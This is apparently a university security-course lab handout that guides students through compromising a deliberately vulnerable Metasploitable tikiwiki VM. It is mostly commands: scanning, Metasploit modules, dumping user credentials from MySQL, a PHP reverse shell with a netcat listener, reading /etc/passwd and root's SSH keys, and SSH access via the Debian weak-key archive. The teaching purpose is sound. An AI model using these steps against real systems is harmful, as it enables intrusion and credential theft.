CSUS, College of Engineering and Computer Science
Department of Computer Science
CSC 154 – Computer System Attacks and Countermeasures

Lab 2 - Metasploitable – tikiwiki

Goal: To use Metasploit to exploit the vulnerabilities of tikiwiki 1.9.5, and based on this understand the penetration process.

Instructions: Please refer to the class demo and the tutorial (https://blog.g0tmi1k.com/2010/07/metasploitable-tikiwiki/), and hand in the deliverable with required screenshots.

Deliverable: A lab report, an **electronic submission** to **SacCT**, is expected to **explain all the commands** that you use, and **include the screen shots** when you receive the response of command executions. A demo may be requested when necessary.

1. Downloading and installation of Metasploitable, which is an intentionally vulnerable Linux virtual machine that you can download from below website (http://sourceforge.net/projects/metasploitable/files/Metasploitable2/);

2. Downloading and installation of Kali, which is a Linux distribution designed for penetration (https://www.kali.org/);

3. The virtual machines can be hosted based on vmware or virtualbox. Configure the network in vmware/virtualbox setting to make them accessible to each other.

4. Scanning your network to find out the IP of the web server and exploring whether tikiwiki is an alive service on the web server;

5. Stealing the username and password for access into tikiwiki;

6. Creating a reverse shell connection with the web server;

7. Stealing the public key stored in .ssh/authorized_keys and using it to get access into the web server via ssh.

Requirement: The report will all be evaluated based on the following grading criteria.

Correctness	25%
Completeness	25%
Clarity	25%
Quality of English writing	25%

Appendix-Set-up:

1. The lab has been tested to work successfully for Kali versions through v1.1.0 (you can check your Kali version by command *lsb_release -a*), metasploitable 2, Dirbuster v1.0, based on VMware Workstation 11.0.0 build-2305329;
2. When opening the virtual machines, please choose “host-only: a private network shared with the host” in Virtual Machine Settings->Network Adaptor->Network Connection;
3. When you have network connection problem, VMware->Edit->Virtual Network Editor can help you restore defaults of VMnets;
4. You can also find Dirbuster through: Applications -> Kali Linux -> Web Applications -> Web Crawlers -> dirbuster;
5. On the operating system Metasploitable 2, mysql was configured to have no password for the root. However, tikiwiki requires mysql’s password for root should be “root”. (Using command *ls –al|grep setup* in the directory “/var/www/tikiwiki” you can find *tiki-setup_base.php* where you can further get to know that *db/local.php* is the basic configuration for database prerequisite. Here, you will find the password that tikiwiki will give mysql is “root”.)

   So, we need to either delete the password or change mysql to have “root” as the password. The command for the latter case is: *mysql –u root*; *set password = PASSWORD('root')*; or *update user set password=PASSWORD("root") where User='root'*; *flush privileges*;
6. When you want to connect to Internet, you can create another network adaptor in the VM settings and set it to NAT mode. You need to open the VMware with administrator privilege to get this done.

Appendix-Commands (parameters like IP may be different due to your settings):

```
nmap 192.168.203.1/24
firefox 192.168.203.128
cd /usr/share/dirbuster
        Note: command locate dirbuster can find it on different versions
java -jar DirBuster-*.jar -u http:// 192.168.203.128
        Note: please disable “be recursive” and “brute force files”; choose 50 threads; choose
        directory-list-2.3-small.txt
firefox 192.168.203.128/tikiwiki

msfconsole
        Note: minimum memory-1024 MB
search tikiwiki
use auxiliary/admin/tikiwiki/tikidblib
set RHOST 192.168.203.128
exploit
```

```
firefox -> www.exploit-db.com -> TikiWiki (2701).
firefox 192.168.1.105/tikiwiki/ -> 192.168.1.105/tikiwiki/tiki-listpages.php?offset=0&sort_mode=
```

Note: this is to get to know the hostname, username and password for access to mysql

```
mysql -h 192.168.203.128 -u root -p
show databases;
use tikiwiki195;
show tables;
select * from users_users;
select login, password from users_users;
```

Note: this is to know the user name and password for login into tikiwiki

firefox->login into tikiwiki;

php reverse shell

```
php-reverse-shell.php -> reverseshell.php
vi reverseshell.php -> Replace: 127.0.0.1 with 192.168.203.129 [Our IP]. Replace: 1234 with 4321.
```

Upload the reverseshell.php to tikiwiki server;

```
nc -v -l -p 4321
firefox->192.168.203.128/tikiwiki/backups/reverseshell.php
whoami
hostname
cat /etc/passwd
```

```
search tikiwiki
use exploit/unix/webapp/tikiwiki_graph_formula_exec
show options
show payloads
set payload generic/shell_bind_tcp
show options
exploit
ls
whoami
cat /etc/passwd
```

```
ls -la /root
ls -la /root/.ssh
cat /root/.ssh/authorized_keys
```

firefox -> www.exploit-db.com -> Debian OpenSSL Predictable (5720) -> http://milw0rm.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2 (suggested to use wget to download in a virtual machine environment)

```
tar jxvf debian_ssh_rsa_2048_x86.tar.bz2
```

```
cd rsa/2048
grep -lr
AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbp
G70lShHQqldJkcteZZdPFSbW76IUiPR0Oh
WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOW
WTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bz
p0e0ac2U qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE kcP
Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc Wv8Vw7bwkf
1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w *.pub
```

```
ssh -i 57c3115d77c56390332dc5c49978627a-5429 root@192.168.203.128
```

Note: it’s OK to see something like “public key blacklisted (see ssh-vulnkey(1)); refusing to send it”. That’s because Kali has already enhanced the security by blacklisting the usage of vulnerable keys. It’s good to observe this as an example of security enhancement in reality.

If you are using Kali v1.1, you can find the blacklist in /usr/share/ssh/blacklist.RSA-2048; but if you are using backtrack 4 or Kali v2, you will not see the above message at all.